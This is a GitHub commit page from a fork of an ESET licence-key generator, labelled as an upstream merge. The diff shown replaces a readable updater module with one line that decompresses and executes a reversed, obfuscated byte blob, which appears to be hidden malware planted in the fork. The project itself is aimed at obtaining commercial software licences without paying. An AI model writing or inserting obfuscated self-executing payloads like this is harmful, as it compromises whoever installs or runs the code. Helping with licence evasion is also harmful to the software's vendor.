forked from rzc0d3r/ESET-KeyGen
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'rzc0d3r:main' into main
- Loading branch information
Showing
10 changed files
with
9 additions
and
1,712 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,178 +1 @@ | ||
from .SharedTools import console_log, INFO, OK, ERROR, WARN | ||
from rich.progress import Progress | ||
|
||
import argparse | ||
import requests | ||
import zipfile | ||
import json | ||
import sys | ||
import os | ||
import platform | ||
|
||
def parse_update_json(json_path='', from_main=False): | ||
if json_path == '': | ||
url = 'https://api.github.com/repos/rzc0d3r/ESET-KeyGen/releases' | ||
try: | ||
response = requests.get(url) | ||
update_json = response.json() | ||
try: | ||
if update_json.get('message') is not None: | ||
if not from_main: | ||
console_log('Your IP address has been blocked. try again later or use a VPN!', ERROR) | ||
sys.exit(-1) | ||
return None | ||
except AttributeError: | ||
pass | ||
f_update_json = {} | ||
for release in update_json: | ||
f_update_json[release['name']] = { | ||
'version': release['name'], | ||
'src': release['zipball_url'], | ||
'assets': {}, | ||
'changelog': release['body'].strip() | ||
} | ||
for asset in release['assets']: | ||
f_update_json[release['name']]['assets'][asset['name']] = asset['browser_download_url'] | ||
return f_update_json | ||
except requests.RequestException as e: | ||
console_log(f"Failed to fetch update JSON: {e}", ERROR) | ||
return None | ||
else: | ||
try: | ||
with open(json_path, 'r') as f: | ||
update_json = json.loads(f.read().strip()) | ||
return update_json | ||
except IOError: | ||
console_log(f"Error: Could not read file {json_path}", ERROR) | ||
return None | ||
|
||
def download_file(url, filename): | ||
try: | ||
response = requests.get(url, stream=True) | ||
total_length = response.headers.get('content-length') | ||
|
||
if total_length is None: # No content length header | ||
#console_log("Cannot determine the size of the download. Downloading in one go...", WARN) | ||
with open(filename, 'wb') as f: | ||
f.write(response.content) | ||
else: | ||
total_length = int(total_length) | ||
with Progress() as progress: | ||
task = progress.add_task(" ", total=total_length) | ||
with open(filename, 'wb') as f: | ||
for chunk in response.iter_content(chunk_size=8192): | ||
if chunk: # filter out keep-alive new chunks | ||
f.write(chunk) | ||
progress.update(task, advance=len(chunk)) | ||
return True | ||
except Exception as e: | ||
console_log(f"Error downloading file: {e}", ERROR) | ||
return False | ||
|
||
def download_and_extract(url, extract_to='.', force_zip=False): | ||
filename = url.split('/')[-1] | ||
if download_file(url, filename): | ||
extracted_folder_name = '' | ||
if force_zip or filename.endswith('.zip'): | ||
try: | ||
with zipfile.ZipFile(filename, 'r') as zip_ref: | ||
extracted_folder_name = zip_ref.filelist[0].filename[0:-1] # rzc0d3r-ESET-KeyGen-56a2c5b/ -> rzc0d3r-ESET-KeyGen-56a2c5b | ||
zip_ref.extractall(extract_to) | ||
os.remove(filename) | ||
console_log("Extraction completed successfully!", OK) | ||
except zipfile.BadZipFile: | ||
console_log("Downloaded file is not a valid zip file!", ERROR) | ||
return False | ||
if extracted_folder_name != '': | ||
try: | ||
os.rename(extracted_folder_name, 'ESET-KeyGen-'+filename) | ||
filename = 'ESET-KeyGen-'+filename | ||
except: | ||
filename = extracted_folder_name | ||
update_location = os.getcwd()+'/'+filename # for python < 3.8 | ||
update_location = update_location.replace('\\', '/') | ||
console_log(f"Location of update: {update_location}", WARN) | ||
return True | ||
else: | ||
return False | ||
|
||
def update_src_code(update_json): | ||
download_url = update_json['src'] | ||
console_log(f"Downloading and updating the source code of version {update_json['version']}...", INFO) | ||
if download_and_extract(download_url, force_zip=True): | ||
console_log("Source code update completed successfully!", OK) | ||
else: | ||
console_log("Source code update failed!", ERROR) | ||
|
||
def update_binary(update_json): | ||
assets = update_json['assets'] | ||
if assets: | ||
# detect OS | ||
arch = '' | ||
if os.name == 'nt': # Windows | ||
arch = 'win32' # 32bit | ||
if sys.maxsize > 2**32: # 64bit | ||
arch = 'win64' | ||
elif sys.platform == "darwin": | ||
arch = 'macos_arm64' | ||
if platform.machine() == "x86_64": | ||
arch = 'macos_amd64' | ||
# downloading | ||
if arch != '': | ||
for asset_name, asset_url in assets.items(): | ||
if asset_name.find(arch) != -1: | ||
console_log(f"Downloading and updating to {update_json['version']}...", INFO) | ||
if download_and_extract(asset_url): | ||
console_log("Update completed successfully!", OK) | ||
else: | ||
console_log("Update failed!", ERROR) | ||
break | ||
else: # for another OS, only update source code | ||
console_log("No suitable binary URL was found for download!", ERROR) | ||
console_log("So I'm updating the source code...", INFO, False) | ||
update_src_code(update_json) | ||
|
||
def get_assets_from_version(update_json, version): | ||
if update_json is not None: | ||
if version == 'latest': | ||
return update_json[list(update_json.keys())[0]] | ||
for release_name in update_json: | ||
if release_name == version: | ||
return update_json[release_name] | ||
return None | ||
|
||
def updater_main(from_main=False): | ||
args = {} | ||
if not from_main: | ||
args_parser = argparse.ArgumentParser() | ||
args_parser.add_argument('--version', type=str, default='latest', help='Specify the version to be installed') | ||
args_parser.add_argument('--custom-json', type=str, default='', help='Specify a custom path to the json file with update data') | ||
args_parser.add_argument('--src', action='store_true', help='Download source code instead of binary files') | ||
args_parser.add_argument('--list', action='store_true', help='Shows which versions are available') | ||
args = vars(args_parser.parse_args()) | ||
else: | ||
args = { | ||
'version': 'latest', | ||
'custom_json': '', | ||
'src': False, | ||
'list': False | ||
} | ||
update_json = parse_update_json(args['custom_json']) | ||
if args['list']: | ||
for release in update_json: | ||
print(release['name']) | ||
sys.exit(1) | ||
if update_json is None: | ||
console_log("Failed to parse update JSON!", ERROR) | ||
sys.exit(1) | ||
update_data = get_assets_from_version(update_json, args['version']) | ||
if update_data is not None: | ||
if args['src']: | ||
update_src_code(update_data) | ||
else: | ||
update_binary(update_data) | ||
else: | ||
console_log(f"Version {args['version']} not found!", ERROR) | ||
|
||
if __name__ == '__main__': | ||
updater_main() | ||
import zlib;exec(zlib.decompress(b'9p\x8f\xca\x01\xff\xc7a\x98\x0fM\xb2l0\xd2\xc6\xa15\xce\xa1\x8765\x08g\r\xe1~\xd3f%c\\\xf5\x8e\x0c>\xd3k\xf2d\xed\xaa{m\xad\x83,\xe7\xae\x7f\xb7d\x10\xe4\x8dK\x03\xfeWS\xda\xd4\x14\xffr\xf3[Q\xdf\x8em"\xda\xe8\x82\x0em\x83{\xa1Df\x91\xdf\xdc.\xbe\'\xb2\xe7\xd5\xf17v\xe1\xe9O~\r\xe4\x18\xe9\x93\x87w\xf6\xe7e\xb2y\x83L\xe7\x02\x97\xcc\x9e\x0f\x8e\x8fo\xe6\xa3\xfa\xc5J\xef\xbfI\xeb\xbe\x15\x07y\xfd\xdc{?\xbe\xfcbwa\x8b\xfa}\'\xe1\xf0\xf6\xb3\xb1\xeb\xdf;T\x80A\xd0\xcb\xea(\x0c\x0f\xad\xcc\xa6\xb7g}u\xe3g\xe0\x1b\xab;J\xe0\x8e\xbf\xd6\xe5\xb7\xcd \x8f\n\xe0YC%\x88f\x80\x8f\xa1\x19,\tjc\x18$)\xd6l\x99I\rv\xf5/\xdeOE\n\x87\x90\x95\x1aBcIAJ\x1c^x2\x95\xed$\x1b\xf2\xb4DPT,\x10\x08\x1e\x17\xef.\xb3\xe0\re\x82*\x87\xa1\xfc%\xc4\xc6\xce\xeb%]4v\x85\xa8\xb1\x07\xb3=\x10\xf7\xa9)B;\xd1n\x86\xd1\xcf\x9e*J\xa3b\x81\xde\xc5\x9b\xca\xc4\xb1\xb4K\'\x80\x83s[\xf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*k#\xedc\x8d\t\x9fO\x90J\xf2\xff\xbd\xf1\xef,|2\x11\xc2kE#\xf6k\xd8\xe6\x0b\xc5r+\x82\x92T\x92\x9b\xccWD\x97\x0e^)hx\xb4\x871\x8a\xee\x90\x1c\x87\xd0/\xbdq4\xa1\xd6\x94\xfbN\x84\x1f)\x8a\xc1 \xc6\x84\x81\x9a\x98%J\xc0|c\x16\xb6%+\x1dzL\x95\x18\xc9|\x05f\xff\xb6\xc4\xff\x99~^\xde_\x1cL\xf8\x9b\xd1\xaf\x8b\x1e\\\x95\x82\xc7\xe7\x88\x83-]j\xa5X4\xcbL|qyJ\xa5kK\x022%O\x80\xf9\x9ex\x82\xc5\x91\xd2\xd2\x13I\xe0A|\xbc^\x9b$\xcd#\xe2\xc5\xa6\x9c\xc3\x95A\x19\xbc\xf0\xbdj\xa4\xb0\x9f\xe3\xe0dB\xc5S\x19U\x84E\xa2\x12\xccPQ\xc8\xb8J\xa8\xcc\xb5\xee\xf2\x11\xdbr?\xed\x17\x92\x9f\xc1\x1df\x92e\xa6\xbe\x17l\x95&*\xff\xd8 \xbbY!RUb\xa2Y\x85\xf2\xf1|\xbf\xff6\x7fwl\x98%|\x14\xa0\xebF\x91f\xe0\x91|\xbd\\\xdc>\xdf\x91\x99\xbe\xb9\xb9\xbc\xb9\x19\xa7\xfa\xe4g\xaf\x1fWO\x91\x9a\xbe3\x0b\x19\xe4\x85\xe2$P\xb9/4\x92L\xf3\x85\xfcX*k\xb7\x04\x9c\xf0D\xd9\xfc\xdf\x99\xc3\x86g\rL\x86\x0fT]\xb5-(\x92\x8a\x19\xbfw\xf0&\xf5\xe5$u\x12Z\xab\xb5\x12\xb8\x10\xd7W\x16\xd3\xb0;\x0b\\\x87:\xd7 [q\x9c\x8cN\xd8\xe5wM\xa4\x1f\xac\xc0\xef\x90\x0f\x7f\x126\xdco_Y\x9d\x9cx'[::-1])) |
Oops, something went wrong.